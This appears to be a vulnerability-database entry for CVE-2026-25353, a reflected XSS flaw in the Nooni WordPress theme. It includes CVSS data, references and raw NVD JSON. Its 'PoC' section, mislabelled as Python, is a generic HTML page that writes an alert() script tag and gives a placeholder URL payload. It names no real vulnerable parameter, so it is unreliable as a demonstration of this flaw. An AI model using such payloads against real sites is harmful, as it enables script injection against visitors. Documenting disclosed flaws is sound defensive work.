CVE-2026-25353

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in skygroup Nooni nooni allows Reflected XSS.This issue affects Nooni: from n/a through < 1.5.1.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Nooni < 1.5.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
Proof of Concept (PoC) for CVE-2026-25353
Vulnerability Type: Reflected XSS in Nooni Theme
Author: Security Analyst
-->

<html>
<body>
<h2>Nooni Theme Reflected XSS PoC</h2>
<p>This PoC demonstrates the execution of arbitrary JavaScript via a vulnerable parameter.</p>

<script>
// Constructing the malicious payload
// In a real scenario, the attacker encodes this payload in the URL.
// Example: http://target-site/page?vulnerable_param=<script>alert(1)</script>

var payload = "<script>alert('CVE-2026-25353 - XSS Executed');<\/script>";

// Simulation of the vulnerable reflection point
// The application fails to sanitize the input before reflecting it.
document.write("<p>Server Response: " + payload + "</p>");

// Explanation:
// If the application reflected the input directly without HTML encoding,
// the alert box above would appear in the victim's browser.
</script>

</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-25353
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-25353
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-25353/
[4] VulDB https://vuldb.com/cve/CVE-2026-25353
[5] https://patchstack.com/database/Wordpress/Theme/nooni/vulnerability/wordpress-nooni-theme-1-5-1-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-25353", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:46.183", "lastModified": "2026-04-24T16:32:53.997", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in skygroup Nooni nooni allows Reflected XSS.This issue affects Nooni: from n/a through < 1.5.1."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en skygroup Nooni nooni permite XSS Reflejado. Este problema afecta a Nooni: desde n/a hasta < 1.5.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/nooni/vulnerability/wordpress-nooni-theme-1-5-1-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}